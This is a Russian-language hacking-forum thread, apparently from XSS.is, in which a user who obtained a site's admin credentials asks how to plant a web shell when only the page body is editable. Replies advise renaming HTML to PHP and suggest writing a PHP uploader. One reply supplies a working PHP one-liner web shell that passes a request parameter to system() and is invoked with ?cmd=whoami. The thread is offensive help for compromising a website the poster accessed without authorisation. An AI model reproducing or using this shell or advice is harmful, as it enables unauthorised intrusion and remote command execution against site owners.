получил пароли логины от админки и теперь имею доступ к html коду всех страниц, ну как, только к <body></body>. что можно сделать что бы закинуть веб шелл? проблема в том что имею доступ только к части кода
-
XSS.stack #1 – первый литературный журнал от юзеров форума
помощь с web shell
- Автор темы cheGewara
- Дата начала
кидаешь код шелла в любой html и меняешь расширение на php ))
- Автор темы
- Добавить закладку
- #3
не, ты не понял. мне доступен текст html кода страницы. только блок <body> остальное даже не отображается. я пробовал шел weevely вставить но оно не работает так как php код находится внутри html кода в блоке <body>
- Автор темы
- Добавить закладку
- #4
Если нельзя переименовывать файлы то никак
- Автор темы
- Добавить закладку
- #6
а зачем переименовывать? я же могу изменить index.php или любую другую страницу. не целиком но чото же можно сделать
Так ты написал что можешь только .html контент редачить. Тогда удали все из index.php, вставь например
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> и открой https://site.com/index.php?cmd=whoami- Автор темы
- Добавить закладку
- #8
от души бро, реально помог
and if you can't change file extension you can code html uploader that accept .php and then upload your shell